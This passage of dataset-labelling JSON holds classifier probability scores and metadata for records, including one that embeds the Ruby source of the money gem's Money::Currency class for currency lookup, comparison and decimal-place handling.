0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9776, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9776, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:32:12.171314+00:00", "scoring_key_slot": "primary", "dataset_uid": "71f08e79-949b-45cf-9dd7-8479e88a44d7", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "5eb4dd26fe92e81300f472daab17b1de1df7d0c09ec95563a5c8ea74b589cd15", "source_metadata": {"uuid": "71f08e79-949b-45cf-9dd7-8479e88a44d7", "repo_name": "jnsoo123/Depot", "relative_path": "spec/controllers/categories_controller_spec.rb", "category": "TEST", "algo_rel_score": 0.6985418796539307, "quality_score": 6.509509086608887, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 14, "repo_created_at": "2016-05-16T05:41:08.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "942b0c27f5af1f1e684b99f1756d9c266fe38b79", "size_bytes": 5102, "file_timestamp": 1474011484, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "5c762310ac3e8be5d53053b797e6fba1051bd948"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 14, "repo_created_at": "2016-05-16T05:41:08.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "942b0c27f5af1f1e684b99f1756d9c266fe38b79", "size_bytes": 5102, "file_timestamp": 1474011484, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "5c762310ac3e8be5d53053b797e6fba1051bd948", "url": "https://github.com/jnsoo123/Depot/blob/5c762310ac3e8be5d53053b797e6fba1051bd948/spec/controllers/categories_controller_spec.rb"}, "gpt4o_tokens": 1248, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.218114761093112, "noise_severity": 0.018372020438646903, "missing_content_severity": 0.002863141560179739, "factual_density": 3.3439442588585333, "pretraining_utility": 0.5600804351388106, "math_density": 0.06360232064197587, "code_density": 3.8943176829180692, "reasoning_density": 0.7785258550940742, "education_level": 2.4728308865921336, "creative_writing_quality": -0.11696593568233835}, "score_applicability": {"education_level": 0.9989921213140789, "creative_writing_quality": 0.000873899306269663}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/brighton36/CoinPost/blob/2e95a17ce2bafe478763f8956abd0577aa0f9a90/rails/ruby/1.9.1/gems/money-5.0.0/lib/money/currency.rb", "id": "ruby-0-5d2d23e1201eea080610af353d7e49ff", "text": "# encoding: utf-8\n\nrequire 'json'\n\nclass Money\n\n # Represents a specific currency unit.\n class Currency\n include Comparable\n extend CurrencyLoader\n\n # Thrown when an unknown currency is requested.\n class UnknownCurrency < StandardError; end\n\n class << self\n\n # Lookup a currency with given +id+ an returns a +Currency+ instance on\n # success, +nil+ otherwise.\n #\n # @param [String, Symbol, #to_s] id Used to look into +table+ and\n # retrieve the applicable attributes.\n #\n # @return [Money::Currency]\n #\n # @example\n # Money::Currency.find(:eur) #=> #\n # Money::Currency.find(:foo) #=> nil\n def find(id)\n id = id.to_s.downcase.to_sym\n new(id) if self.table[id]\n end\n\n # Wraps the object in a +Currency+ unless it's already a +Currency+\n # object.\n #\n # @param [Object] object The object to attempt and wrap as a +Currency+\n # object.\n #\n # @return [Money::Currency]\n #\n # @example\n # c1 = Money::Currency.new(:usd)\n # Money::Currency.wrap(nil) #=> nil\n # Money::Currency.wrap(c1) #=> #\n # Money::Currency.wrap(\"usd\") #=> #\n def wrap(object)\n if object.nil?\n nil\n elsif object.is_a?(Currency)\n object\n else\n Currency.new(object)\n end\n end\n\n # List of known currencies.\n #\n # == monetary unit\n # The standard unit of value of a currency, as the dollar in the United States or the peso in Mexico.\n # http://www.answers.com/topic/monetary-unit\n # == fractional monetary unit, subunit\n # A monetary unit that is valued at a fraction (usually one hundredth) of the basic monetary unit\n # http://www.answers.com/topic/fractional-monetary-unit-subunit\n #\n # See http://en.wikipedia.org/wiki/List_of_circulating_currencies and\n # http://search.cpan.org/~tnguyen/Locale-Currency-Format-1.28/Format.pm\n def table\n @table ||= load_currencies\n end\n\n # We need a string-based validator before creating an unbounded number of symbols.\n # http://www.randomhacks.net/articles/2007/01/20/13-ways-of-looking-at-a-ruby-symbol#11\n # https://github.com/RubyMoney/money/issues/132\n def stringified_keys\n @stringified_keys ||= stringify_keys\n end\n\n def register(curr)\n key = curr[:iso_code].downcase.to_sym\n @table[key] = curr\n @stringified_keys = stringify_keys\n end\n\n private\n\n def stringify_keys\n table.keys.map{|k| k.to_s.downcase}\n end\n end\n\n # The symbol used to identify the currency, usually the lowercase\n # +iso_code+ attribute.\n #\n # @return [Symbol]\n attr_reader :id\n\n # A numerical value you can use to sort/group the currency list.\n #\n # @return [Integer]\n attr_reader :priority\n\n # The international 3-letter code as defined by the ISO 4217 standard.\n #\n # @return [String]\n attr_reader :iso_code\n #\n # The international 3-numeric code as defined by the ISO 4217 standard.\n #\n # @return [String]\n attr_reader :iso_numeric\n\n # The currency name.\n #\n # @return [String]\n attr_reader :name\n\n # The currency symbol (UTF-8 encoded).\n #\n # @return [String]\n attr_reader :symbol\n\n # The html entity for the currency symbol\n #\n # @return [String]\n attr_reader :html_entity\n\n # The name of the fractional monetary unit.\n #\n # @return [String]\n attr_reader :subunit\n\n # The proportion between the unit and the subunit\n #\n # @return [Integer]\n attr_reader :subunit_to_unit\n\n # The decimal mark, or character used to separate the whole unit from the subunit.\n #\n # @return [String]\n attr_reader :decimal_mark\n alias :separator :decimal_mark\n\n # The character used to separate thousands grouping of the whole unit.\n #\n # @return [String]\n attr_reader :thousands_separator\n alias :delimiter :thousands_separator \n\n # Should the currency symbol precede the amount, or should it come after?\n #\n # @return [boolean]\n attr_reader :symbol_first\n\n # Create a new +Currency+ object.\n #\n # @param [String, Symbol, #to_s] id Used to look into +table+ and retrieve\n # the applicable attributes.\n #\n # @return [Money::Currency]\n #\n # @example\n # Money::Currency.new(:usd) #=> #\n def initialize(id)\n id = id.to_s.downcase\n raise(UnknownCurrency, \"Unknown currency `#{id}'\") unless self.class.stringified_keys.include?(id)\n\n @id = id.to_sym\n data = self.class.table[@id]\n data.each_pair do |key, value|\n instance_variable_set(:\"@#{key}\", value)\n end\n end\n\n # Compares +self+ with +other_currency+ against the value of +priority+\n # attribute.\n #\n # @param [Money::Currency] other_currency The currency to compare to.\n #\n # @return [-1,0,1] -1 if less than, 0 is equal to, 1 if greater than\n #\n # @example\n # c1 = Money::Currency.new(:usd)\n # c2 = Money::Currency.new(:jpy)\n # c1 <=> c2 #=> 1\n # c2 <=> c1 #=> -1\n # c1 <=> c1 #=> 0\n def <=>(other_currency)\n self.priority <=> other_currency.priority\n end\n\n # Compares +self+ with +other_currency+ and returns +true+ if the are the\n # same or if their +id+ attributes match.\n #\n # @param [Money::Currency] other_currency The currency to compare to.\n #\n # @return [Boolean]\n #\n # @example\n # c1 = Money::Currency.new(:usd)\n # c2 = Money::Currency.new(:jpy)\n # c1 == c1 #=> true\n # c1 == c2 #=> false\n def ==(other_currency)\n self.equal?(other_currency) ||\n self.id == other_currency.id\n end\n\n # Compares +self+ with +other_currency+ and returns +true+ if the are the\n # same or if their +id+ attributes match.\n #\n # @param [Money::Currency] other_currency The currency to compare to.\n #\n # @return [Boolean]\n #\n # @example\n # c1 = Money::Currency.new(:usd)\n # c2 = Money::Currency.new(:jpy)\n # c1.eql? c1 #=> true\n # c1.eql? c2 #=> false\n def eql?(other_currency)\n self == other_currency\n end\n\n # Returns a Fixnum hash value based on the +id+ attribute in order to use\n # functions like & (intersection), group_by, etc.\n #\n # @return [Fixnum]\n #\n # @example\n # Money::Currency.new(:usd).hash #=> 428936\n def hash\n id.hash\n end\n\n # Returns a human readable representation.\n #\n # @return [String]\n #\n # @example\n # Money::Currency.new(:usd) #=> #\n def inspect\n \"#<#{self.class.name} id: #{id}, priority: #{priority}, symbol_first: #{symbol_first}, thousands_separator: #{thousands_separator}, html_entity: #{html_entity}, decimal_mark: #{decimal_mark}, name: #{name}, symbol: #{symbol}, subunit_to_unit: #{subunit_to_unit}, iso_code: #{iso_code}, iso_numeric: #{iso_numeric}, subunit: #{subunit}>\"\n end\n\n # Returns a string representation corresponding to the upcase +id+\n # attribute.\n #\n # -–\n # DEV: id.to_s.upcase corresponds to iso_code but don't use ISO_CODE for consistency.\n #\n # @return [String]\n #\n # @example\n # Money::Currency.new(:usd).to_s #=> \"USD\"\n # Money::Currency.new(:eur).to_s #=> \"EUR\"\n def to_s\n id.to_s.upcase\n end\n\n # Conversation to +self+.\n #\n # @return [self]\n def to_currency\n self\n end\n\n\n # Returns currency symbol or iso code for currencies with no symbol.\n #\n # @return [String]\n def code\n symbol || iso_code\n end\n\n def symbol_first?\n !!@symbol_first\n end\n\n # Cache decimal places for subunit_to_unit values. Common ones pre-cached.\n def self.decimal_places_cache\n @decimal_places_cache ||= {\n 1 => 0,\n 10 => 1,\n 100 => 2,\n 1000 => 3\n }\n end\n\n # The number of decimal places needed.\n #\n # @return [Integer]\n def decimal_places\n cache = self.class.decimal_places_cache\n places = cache[subunit_to_unit]\n unless places\n places = calculate_decimal_places(subunit_to_unit)\n cache[subunit_to_unit] = places\n end\n places\n end\n\n # If we need to figure out how many decimal places we need we\n # use repeated integer division.\n def calculate_decimal_places(num)\n return 0 if num == 1\n i = 1\n while num >= 10\n num /= 10\n i += 1 if num >= 10\n end\n i\n end\n private :calculate_decimal_places\n\n end\nend\n", "text_preview": "# encoding: utf-8 require 'json' class Money # Represents a specific currency unit. class Currency include Comparable extend CurrencyLoader # Thrown when an unknown currency is requested. class UnknownCurrency < StandardError; end class << ", "input_sha256": "57606639320a06dc843676fcc34109af488933f82722c5925843e42664a41f5c", "text_sha256": "5d2d23e1201eea080610af353d7e49ff45d946afdf721479f3d465a0547ddcc9", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16054, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "needs_review", "training_eligible": false, "label": null, "candidate_label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": {"main_topic": "Business, Economics & Finance", "sub_topic": null}}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.2774266595670634, "noise_severity": 0.05673630792082668, "missing_content_severity": 0.03719609697546951, "factual_density": 3.2528010166728247, "pretraining_utility": 0.5774743803074808, "math_density": 0.6953346940677916, "code_density": 3.623620756402282, "reasoning_density": 0.4044242833731968, "education_level": 2.1480522913048237, "creative_writing_quality": -0.19188832285501953}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "Business, Economics & Finance"}, "review_reasons": ["secondary_topic probability 0.4670 below 0.70", "secondary_topic vs NONE margin 0.0438 below 0.10"], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.007461638959727512, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9984617646713535, "secondary": 0.9298660781063557, "tertiary": 0.922427387438641, "structured_records": 0.04465897496733953, "procedural_steps": 0.00488858725164021, "worked_solution": 0.012569907366595355, "contextual_dialogue": 5.4135541287639235e-06, "content_quality": 0.5546004120662225, "noise_severity": 0.9527197433993111, "missing_content_severity": 0.9690032525204421, "factual_density": 0.37733418056068724, "pretraining_utility": 0.515846501682138, "math_density": 0.42055442161017365, "code_density": 0.6863506303352351, "reasoning_density": 0.6629797638556694, "education_level": 0.7373897100025262, "creative_writing_quality": 0.9994920018458676, "primary_topic": 0.9569018444329283, "secondary_topic": 0.4456968749532259}, "probability_margin": {"primary": 0.9979623846456552, "secondary": 0.8956843753502624, "tertiary": 0.8810939911673084, "education_level": 0.6237590904171013, "creative_writing_quality": 0.999380022370978, "primary_topic": 0.9204002127990912, "secondary_topic": 0.04376787797785714}, "raw_probabilities": {"primary": {"Academic Writing": 1.658827602849414e-05, "Content Listing": 9.610382247461027e-06, "Creative Writing": 7.577299633476092e-06, "Customer Support Page": 5.142212885604825e-06, "Q&A Forum": 5.699058835968145e-06, "Discussion Thread": 3.512617187300631e-06, "Comment Section": 6.101679728520992e-06, "Missing Content": 1.1259069277569243e-05, "Knowledge Article": 0.00016861817208456908, "Legal Notices": 2.116177345590556e-05, "News Article": 1.937413773877183e-06, "Organizational Announcement": 5.675367933123453e-06, "Nonfiction Writing": 6.586948976995842e-06, "Organizational About Page": 6.2245706923375906e-06, "Personal About Page": 4.3068299782357844e-06, "Personal Blog": 3.5058502306272167e-06, "Product Page": 4.758421197121857e-06, "Spam / Ads": 4.810525914161268e-06, "Structured Data": 0.0005387816397838343, "Technical Writing": 0.9985258578100471, "Transcript / Interview": 6.8650642391931075e-06, "Tutorial / How-To Guide": 6.897844916361046e-05, "User Reviews": 2.96740231311057e-06, "Other / Unknown": 0.0005634731643918413}, "secondary": {"Academic Writing": 0.0005134197214424604, "Content Listing": 0.0003277317261629985, "Creative Writing": 0.00037338064957185847, "Customer Support Page": 0.00021300949743555293, "Q&A Forum": 0.00015942153304114126, "Discussion Thread": 0.00012527993534640602, "Comment Section": 0.0003447121037821131, "Missing Content": 0.0005938180049099359, "Knowledge Article": 0.0371039495016618, "Legal Notices": 0.00043098630912688214, "News Article": 0.0001881274615800532, "Organizational Announcement": 0.00021438062881006662, "Nonfiction Writing": 0.0007014250020012815, "Organizational About Page": 0.00024376262051840648, "Personal About Page": 0.00016555777197342915, "Personal Blog": 0.0001560238405091136, "Product Page": 0.00015180334713881934, "Spam / Ads": 0.00021470144512025858, "Structured Data": 0.006378935661211356, "Technical Writing": 0.016094250149122122, "Transcript / Interview": 0.0002962433451022521, "Tutorial / How-To Guide": 0.0021292430335040752, "User Reviews": 9.151185900348152e-05, "NONE": 0.9327883248519242}, "tertiary": {"Academic Writing": 0.0004985666480638551, "Content Listing": 0.00033974431142741067, "Creative Writing": 0.00026130536010055135, "Customer Support Page": 0.00016906173213996717, "Q&A Forum": 0.00011838591389349067, "Discussion Thread": 9.712783446555368e-05, "Comment Section": 0.00023515206256195494, "Missing Content": 0.0004923260239362517, "Knowledge Article": 0.044565588461389305, "Legal Notices": 0.0006163758089652773, "News Article": 0.00015276601251586246, "Organizational Announcement": 0.00017191111094419392, "Nonfiction Writing": 0.0006529298870331648, "Organizational About Page": 0.00021858870271357963, "Personal About Page": 0.00011845214920709078, "Personal Blog": 0.00010478023190808797, "Product Page": 0.00012044711454726243, "Spam / Ads": 0.00018061813090269148, "Structured Data": 0.0048470501915878995, "Technical Writing": 0.01831023934471519, "Transcript / Interview": 0.0001932890049930586, "Tutorial / How-To Guide": 0.0018085091135621326, "User Reviews": 6.720521972837652e-05, "NONE": 0.9256595796286977}, "structured_records": {"false": 0.9553410250326605, "true": 0.04465897496733953}, "procedural_steps": {"false": 0.9951114127483598, "true": 0.00488858725164021}, "worked_solution": {"false": 0.9874300926334046, "true": 0.012569907366595355}, "contextual_dialogue": {"false": 0.9999945864458712, "true": 5.4135541287639235e-06}, "content_quality": {"-2": 0.0027445023670825044, "-1": 0.00894044799360554, "0": 0.10241201988827628, "1": 0.47994994720723755, "2": 0.40595308254379814}, "noise_severity": {"0": 0.948652359719946, "1": 0.04765492423372115, "2": 0.0024652192744046945, "3": 0.000759041949416743, "4": 0.00046845482251147753}, "missing_content_severity": {"0": 0.9767975575878692, "1": 0.01175903304655011, "2": 0.009229823604277963, "3": 0.0018769263248475943, "4": 0.00033665943645517306}, "factual_density": {"0": 0.004379476174755799, "1": 0.015793058898072865, "2": 0.13455643102875145, "3": 0.41318903987643063, "4": 0.4320819940219892}, "pretraining_utility": {"-2": 0.0064171745087608385, "-1": 0.05708383481175873, "0": 0.3683357156871769, "1": 0.4889339858478459, "2": 0.07922928914445761}, "math_density": {"0": 0.5163957834563672, "1": 0.3635790293213047, "2": 0.06563082177295466, "3": 0.017083440596916365, "4": 0.037310924852457114}, "code_density": {"0": 0.0004546556445003852, "1": 0.0010638035456432514, "2": 0.03358438284536772, "3": 0.304200444692051, "4": 0.6606967132724376}, "reasoning_density": {"0": 0.7290172997622567, "1": 0.1640746552825585, "2": 0.08532627419008348, "3": 0.016630003349933673, "4": 0.004951767415167559}, "education_level": {"none": 0.0014367043962989357, "0": 0.002260168135808183, "1": 0.04017705004931046, "2": 0.7811580916687718, "3": 0.15739900125167056, "4": 0.017568984498140032}, "creative_writing_quality": {"not_applicable": 0.9995766682048897, "-2": 5.253702219704241e-05, "-1": 8.773724150709166e-05, "0": 0.00019664583391162098, "1": 6.124453726279998e-05, "2": 2.5167160231729616e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.267331975295774e-05, "Art & Design": 8.363450473041482e-05, "Law & Crime": 0.00013225936322896933, "Education & Careers": 5.496768872152968e-05, "Entertainment & Media": 5.4508701712973095e-05, "Fashion & Beauty": 5.989736355648126e-05, "Business, Economics & Finance": 0.03815925300180131, "Food & Dining": 6.707943408140426e-05, "Games & Gaming": 0.00011692737400223932, "Electronics & Hardware": 8.773869714267343e-05, "Health, Healthcare & Wellness": 6.325698454833906e-05, "History & Geography": 6.501626790392344e-05, "Home, Pets & Hobbies": 5.25646060727633e-05, "Industry & Production": 6.027929808153499e-05, "Language, Literature & Philosophy": 8.201530264390879e-05, "Politics & Government": 0.00010039261183381877, "Religion & Spirituality": 6.897932392813917e-05, "Science, Mathematics & Engineering": 0.0005812958547828183, "Relationships & Community": 3.64140499217826e-05, "Software Usage & Applications": 0.0003262013676834714, "Programming & Software Engineering": 0.9585594658008926, "Sports & Fitness": 6.833640757522752e-05, "Vehicles & Transportation": 3.738046739414695e-05, "Travel & Tourism": 6.424998144139319e-05, "Other / Uncovered Subject": 0.0008668707717429119, "Unknown / Insufficient Content": 8.83414548222882e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006908133174405509, "Art & Design": 0.0006112948974445252, "Law & Crime": 0.0020028626535671195, "Education & Careers": 0.0004078989209055546, "Entertainment & Media": 0.00047069003197679557, "Fashion & Beauty": 0.00040568800796544864, "Business, Economics & Finance": 0.4670162259165634, "Food & Dining": 0.0003781738183736489, "Games & Gaming": 0.0005552010977452309, "Electronics & Hardware": 0.0005534507509791467, "Health, Healthcare & Wellness": 0.0004885830258158181, "History & Geography": 0.0004469796229798545, "Home, Pets & Hobbies": 0.0004080399587706864, "Industry & Production": 0.0003849691949293433, "Language, Literature & Philosophy": 0.00042156143100398406, "Politics & Government": 0.0007916596498199168, "Religion & Spirituality": 0.0006206197607554928, "Science, Mathematics & Engineering": 0.002815843602536966, "Relationships & Community": 0.0002236677975879369, "Software Usage & Applications": 0.0007890039229779156, "Programming & Software Engineering": 0.09431130685781251, "Sports & Fitness": 0.0003187269721390574, "Vehicles & Transportation": 0.00022814772220474566, "Travel & Tourism": 0.0004590775849272632, "Other / Uncovered Subject": 0.0009511655440709342, "NONE": 0.42324834793870625}}, "probabilities": {"primary": {"Academic Writing": 1.658827602849414e-05, "Content Listing": 9.610382247461027e-06, "Creative Writing": 7.577299633476092e-06, "Customer Support Page": 5.142212885604825e-06, "Q&A Forum": 5.699058835968145e-06, "Discussion Thread": 3.512617187300631e-06, "Comment Section": 6.101679728520992e-06, "Missing Content": 1.1259069277569243e-05, "Knowledge Article": 0.00016861817208456908, "Legal Notices": 2.116177345590556e-05, "News Article": 1.937413773877183e-06, "Organizational Announcement": 5.675367933123453e-06, "Nonfiction Writing": 6.586948976995842e-06, "Organizational About Page": 6.2245706923375906e-06, "Personal About Page": 4.3068299782357844e-06, "Personal Blog": 3.5058502306272167e-06, "Product Page": 4.758421197121857e-06, "Spam / Ads": 4.810525914161268e-06, "Structured Data": 0.0005387816397838343, "Technical Writing": 0.9985258578100471, "Transcript / Interview": 6.8650642391931075e-06, "Tutorial / How-To Guide": 6.897844916361046e-05, "User Reviews": 2.96740231311057e-06, "Other / Unknown": 0.0005634731643918413}, "secondary": {"Academic Writing": 0.0005134197214424604, "Content Listing": 0.0003277317261629985, "Creative Writing": 0.00037338064957185847, "Customer Support Page": 0.00021300949743555293, "Q&A Forum": 0.00015942153304114126, "Discussion Thread": 0.00012527993534640602, "Comment Section": 0.0003447121037821131, "Missing Content": 0.0005938180049099359, "Knowledge Article": 0.0371039495016618, "Legal Notices": 0.00043098630912688214, "News Article": 0.0001881274615800532, "Organizational Announcement": 0.00021438062881006662, "Nonfiction Writing": 0.0007014250020012815, "Organizational About Page": 0.00024376262051840648, "Personal About Page": 0.00016555777197342915, "Personal Blog": 0.0001560238405091136, "Product Page": 0.00015180334713881934, "Spam / Ads": 0.00021470144512025858, "Structured Data": 0.006378935661211356, "Technical Writing": 0.016094250149122122, "Transcript / Interview": 0.0002962433451022521, "Tutorial / How-To Guide": 0.0021292430335040752, "User Reviews": 9.151185900348152e-05, "NONE": 0.9327883248519242}, "tertiary": {"Academic Writing": 0.0004985666480638552, "Content Listing": 0.0003397443114274107, "Creative Writing": 0.0002613053601005514, "Customer Support Page": 0.0001690617321399672, "Q&A Forum": 0.00011838591389349068, "Discussion Thread": 9.71278344655537e-05, "Comment Section": 0.00023515206256195497, "Missing Content": 0.0004923260239362518, "Knowledge Article": 0.04456558846138931, "Legal Notices": 0.0006163758089652774, "News Article": 0.00015276601251586249, "Organizational Announcement": 0.00017191111094419395, "Nonfiction Writing": 0.0006529298870331649, "Organizational About Page": 0.00021858870271357966, "Personal About Page": 0.0001184521492070908, "Personal Blog": 0.00010478023190808798, "Product Page": 0.00012044711454726244, "Spam / Ads": 0.0001806181309026915, "Structured Data": 0.0048470501915879, "Technical Writing": 0.018310239344715193, "Transcript / Interview": 0.00019328900499305862, "Tutorial / How-To Guide": 0.0018085091135621328, "User Reviews": 6.720521972837653e-05, "NONE": 0.9256595796286978}, "structured_records": {"false": 0.9553410250326605, "true": 0.04465897496733953}, "procedural_steps": {"false": 0.9951114127483598, "true": 0.00488858725164021}, "worked_solution": {"false": 0.9874300926334046, "true": 0.012569907366595355}, "contextual_dialogue": {"false": 0.9999945864458712, "true": 5.4135541287639235e-06}, "content_quality": {"-2": 0.0027445023670825044, "-1": 0.00894044799360554, "0": 0.10241201988827628, "1": 0.47994994720723755, "2": 0.40595308254379814}, "noise_severity": {"0": 0.948652359719946, "1": 0.04765492423372115, "2": 0.0024652192744046945, "3": 0.000759041949416743, "4": 0.00046845482251147753}, "missing_content_severity": {"0": 0.9767975575878692, "1": 0.01175903304655011, "2": 0.009229823604277963, "3": 0.0018769263248475943, "4": 0.00033665943645517306}, "factual_density": {"0": 0.004379476174755799, "1": 0.015793058898072865, "2": 0.13455643102875145, "3": 0.41318903987643063, "4": 0.4320819940219892}, "pretraining_utility": {"-2": 0.0064171745087608385, "-1": 0.05708383481175873, "0": 0.3683357156871769, "1": 0.4889339858478459, "2": 0.07922928914445761}, "math_density": {"0": 0.5163957834563672, "1": 0.3635790293213047, "2": 0.06563082177295466, "3": 0.017083440596916365, "4": 0.037310924852457114}, "code_density": {"0": 0.0004546556445003852, "1": 0.0010638035456432514, "2": 0.03358438284536772, "3": 0.304200444692051, "4": 0.6606967132724376}, "reasoning_density": {"0": 0.7290172997622568, "1": 0.16407465528255852, "2": 0.0853262741900835, "3": 0.016630003349933677, "4": 0.00495176741516756}, "education_level": {"none": 0.0014367043962989357, "0": 0.002260168135808183, "1": 0.04017705004931046, "2": 0.7811580916687718, "3": 0.15739900125167056, "4": 0.017568984498140032}, "creative_writing_quality": {"not_applicable": 0.9995766682048897, "-2": 5.253702219704241e-05, "-1": 8.773724150709166e-05, "0": 0.00019664583391162098, "1": 6.124453726279998e-05, "2": 2.5167160231729616e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.267331975295774e-05, "Art & Design": 8.363450473041482e-05, "Law & Crime": 0.00013225936322896933, "Education & Careers": 5.496768872152968e-05, "Entertainment & Media": 5.4508701712973095e-05, "Fashion & Beauty": 5.989736355648126e-05, "Business, Economics & Finance": 0.03815925300180131, "Food & Dining": 6.707943408140426e-05, "Games & Gaming": 0.00011692737400223932, "Electronics & Hardware": 8.773869714267343e-05, "Health, Healthcare & Wellness": 6.325698454833906e-05, "History & Geography": 6.501626790392344e-05, "Home, Pets & Hobbies": 5.25646060727633e-05, "Industry & Production": 6.027929808153499e-05, "Language, Literature & Philosophy": 8.201530264390879e-05, "Politics & Government": 0.00010039261183381877, "Religion & Spirituality": 6.897932392813917e-05, "Science, Mathematics & Engineering": 0.0005812958547828183, "Relationships & Community": 3.64140499217826e-05, "Software Usage & Applications": 0.0003262013676834714, "Programming & Software Engineering": 0.9585594658008926, "Sports & Fitness": 6.833640757522752e-05, "Vehicles & Transportation": 3.738046739414695e-05, "Travel & Tourism": 6.424998144139319e-05, "Other / Uncovered Subject": 0.0008668707717429119, "Unknown / Insufficient Content": 8.83414548222882e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006908133174405509, "Art & Design": 0.0006112948974445252, "Law & Crime": 0.0020028626535671195, "Education & Careers": 0.0004078989209055546, "Entertainment & Media": 0.00047069003197679557, "Fashion & Beauty": 0.00040568800796544864, "Business, Economics & Finance": 0.4670162259165634, "Food & Dining": 0.0003781738183736489, "Games & Gaming": 0.0005552010977452309, "Electronics & Hardware": 0.0005534507509791467, "Health, Healthcare & Wellness": 0.0004885830258158181, "History & Geography": 0.0004469796229798545, "Home, Pets & Hobbies": 0.0004080399587706864, "Industry & Production": 0.0003849691949293433, "Language, Literature & Philosophy": 0.00042156143100398406, "Politics & Government": 0.0007916596498199168, "Religion & Spirituality": 0.0006206197607554928, "Science, Mathematics & Engineering": 0.002815843602536966, "Relationships & Community": 0.0002236677975879369, "Software Usage & Applications": 0.0007890039229779156, "Programming & Software Engineering": 0.09431130685781251, "Sports & Fitness": 0.0003187269721390574, "Vehicles & Transportation": 0.00022814772220474566, "Travel & Tourism": 0.0004590775849272632, "Other / Uncovered Subject": 0.0009511655440709342, "NONE": 0.42324834793870625}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, 